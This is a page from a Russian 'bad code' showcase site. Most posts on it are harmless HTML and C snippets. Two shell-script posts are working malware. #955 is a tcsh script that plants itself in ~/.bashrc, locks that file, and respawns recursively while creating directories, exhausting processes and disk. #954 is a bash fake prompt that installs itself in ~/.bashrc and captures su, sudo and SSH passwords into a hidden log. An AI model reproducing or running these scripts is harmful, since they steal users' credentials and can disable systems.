Куча говна / Говнокод #955 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
#!/bin/tcsh
# Utility "p1", author Alice Stein (netelis@yandex.ru),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0

shell script tcsh

guest guest, (Updated )

Комментарии (1, +1)

Куча говна / Говнокод #954 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
  35. 35
  36. 36
  37. 37
  38. 38
  39. 39
  40. 40
  41. 41
  42. 42
  43. 43
  44. 44
  45. 45
  46. 46
  47. 47
  48. 48
  49. 49
  50. 50
  51. 51
  52. 52
  53. 53
  54. 54
  55. 55
  56. 56
  57. 57
  58. 58
  59. 59
  60. 60
  61. 61
  62. 62
  63. 63
  64. 64
  65. 65
  66. 66
  67. 67
  68. 68
  69. 69
  70. 70
  71. 71
  72. 72
  73. 73
  74. 74
  75. 75
  76. 76
  77. 77
  78. 78
  79. 79
  80. 80
  81. 81
  82. 82
  83. 83
  84. 84
  85. 85
  86. 86
  87. 87
  88. 88
  89. 89
  90. 90
  91. 91
  92. 92
  93. 93
  94. 94
  95. 95
  96. 96
  97. 97
  98. 98
  99. 99
  100. 100
#!/bin/bash
cm=""
function psw_su()
{
  t=`echo $1 | tr '_' ' '`
  echo -n $t
  read -s ps >> ~/.log
  echo "password: " >> ~/.log
  #safe password to log file
  echo $ps >> ~/.log
  echo
  sleep 4s
  echo "su: incorrect password"
  $cm
  # exit 0
};
function zar()
{
  a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
  b=$0
  case $a in
    $b)
  ;;
  *)
    echo $0 >> ~/.bashrc
  ;;
  esac
};

zar
while :
do
  psu="Password: "
  psudo="root's_password:"
  ht=$HOST
  un=$USER
  pw=`pwd`
  case $pw in
  $HOME)
    #tilda ~ this is home directory
    pw="~"
  ;;
  *)
  esac
  #string of console of shell
  nm=$USER"@"$HOST":"$pw"> "
  echo -n $nm
  echo -n " "
  #enter command
  cm=""
  read -e cm
  # cm=$1
  #switch case
  case $cm in
  "")
  ;;
  #authentficate as root
  "su")
    psw_su $psu
  ;;
  #authentificat as root
  "su -l root")
    psw_su $psu
  ;;
  #authentificate as other user
  `echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _l-_us | rev`
    echo "Login: "$c2 >> ~/.log
    psw_su $psu
  ;;
  #simple sudo as authentificate as root
  "sudo bash")
    psw_su $psudo
  ;;
  `echo $cm | grep ssh`)
    c=`echo $cm | tr ' ' '_' | rev`
    c2=`basename $c _hss | rev`
    echo "loginSSH: "$c2>> ~/.log
    echo -n "Password: "
    read -s ps
    echo $cm >> ~/.log
    echo "Password SSH:"$ps >> ~/.log
    sleep 2s
    echo
    $cm
    exit 0
  ;;
  `echo $cm | grep sudo | grep sh`)
    psw_su $psudo
  ;;
  *)
  esac
  echo $cm >> ~/.log
  #$cm >> ~/.log
  #exec command
  case $cm in
  "")
    cm="echo -n"
  ;;

shell script

guest guest, (Updated )

Комментарии (2, +2)

Куча говна / Говнокод #929 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
www.govnokod.ru

<b class="r1"></b><b class="r1"></b><b class="r1"></b><b class="r2"></b><b class="r2"></b><b class="r3"></b><b class="r4"></b><b class="r5"></b><b class="r7"></b><b class="r10"></b>

Хмм... Может показать разрабам, как закруглять углы у блоков без набора этого говна?.. Особенно если используются JS фрэймворки...

html

guest guest, (Updated )

Комментарии (3, +3)

Куча говна / Говнокод #872 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
ret = (func(a, b) == SpecNumber) ? true : false;
    if (! ret)
    {
        ShowError ("Some message", a, b));
    }

Обратить внимание на хитрость получения значения ret, а потом как его используют :)

guest guest, (Updated )

Комментарии (1, +1)

Куча говна / Говнокод #860 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
  24. 24
  25. 25
  26. 26
  27. 27
  28. 28
  29. 29
  30. 30
  31. 31
  32. 32
  33. 33
  34. 34
<table width="100%" border="0" cellspacing="0" cellpadding="1" id="gmtbl2" class="gmtbl">
	<tbody>
		<tr>
			<td colspan="3" width="100%">
				<table width="100%" cellspacing="0" cellpadding="0">
					<tbody>
						<tr>
							<td colspan="3" width="100%" height="20" id="gmtdttl" class="gmtdttl"><B><A href="http://www.gismeteo.RU/towns/27760.htm" id="tgmtdttl" class="gmtdttl" target="_blank">Саранск</A></B></td>
						</tr>
					</tbody>
				</table>
			</td>
		</tr>
		<tr>
			<td width="40%" id="gmtdtext0" class="gmtdtext" align="left">Пн, ночь</td>
			<td width="40%" id="tgmtdtext0" class="gmtdtext" align="center">0..-2 °C
			<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/1n.gif" width="26" height="26" alt="Малооблачно" title="Малооблачно"></td><tr><td width="40%" id="gmtdtext1" class="gmtdtext" align="left">   Пн, утро</td><td width="40%" id="tgmtdtext1" class="gmtdtext" align="center">+4..+6 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/2.gif" width="26" height="26" alt="Облачно" title="Облачно"></td><tr><td width="40%" id="gmtdtext2" class="gmtdtext" align="left">   Пн, день</td><td width="40%" id="tgmtdtext2" class="gmtdtext" align="center">+10..+12 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/3.gif" width="26" height="26" alt="Пасмурно" title="Пасмурно"></td><tr><td width="40%" id="gmtdtext3" class="gmtdtext" align="left">   Пн, вечер</td><td width="40%" id="tgmtdtext3" class="gmtdtext" align="center">+4..+6 °C<td width="20%" align="center"><IMG src="http://informer.gismeteo.ru/html/images/sm/3n.gif" width="26" height="26" alt="Пасмурно" title="Пасмурно"></td>
			<tr>
				<td colspan="3" align="center">
					<table border="0" cellspacing="0" cellpadding="0">
						<tbody>
							<tr>
								<td align="right" height="20"><IMG src="http://informer.gismeteo.ru/html/images/logo.gif" width="13" height="20" alt="/"></td>
								<td align="left"><A href="http://www.gismeteo.RU" id="lgmtdtext" class="gmtdtext" target="_blank">GISMETEO.RU</A></td>
							</tr>
						</tbody>
					</table>
				</td>
			</tr>
			<tr>
			<td heigth="5" colspan="3"></td>
		</tr>
	</tbody>
</table>

html информера, который возвращает js, генерируемый на сайте gismeteo.ru.

guest guest, (Updated )

Комментарии (1, +1)

Куча говна / Говнокод #849 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
</div>
    <b class="r1"></b><b class="r1"></b><b class="r1"></b><b class="r2"></b><b class="r2"></b><b class="r3"></b><b class="r4"></b><b class="r5"></b><b class="r7"></b><b class="r10"></b>
</div>

говнокод из хтмл-ки >>>ЭТОГО<<< сайта! ;)

guest guest, (Updated )

Комментарии (4, +4)

Куча говна / Говнокод #832 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
<div class="hright"><span id='ratig-layer-1146605335'><div class="rating" style="float:left;">
<ul class="unit-rating">
<li class="current-rating" style="width:0px;">0</li>
<li><a href="#" title="Плохо" class="r1-unit" onclick="dleRate('1', '1146605335'); return false;">1</a></li>
<li><a href="#" title="Приемлемо" class="r2-unit" onclick="dleRate('2', '1146605335'); return false;">2</a></li>
<li><a href="#" title="Средне" class="r3-unit" onclick="dleRate('3', '1146605335'); return false;">3</a></li>
<li><a href="#" title="Хорошо" class="r4-unit" onclick="dleRate('4', '1146605335'); return false;">4</a></li>
<li><a href="#" title="Отлично" class="r5-unit" onclick="dleRate('5', '1146605335'); return false;">5</a></li>
</ul>
</div></span></div>

guest guest, (Updated )

Комментарии (4, +4)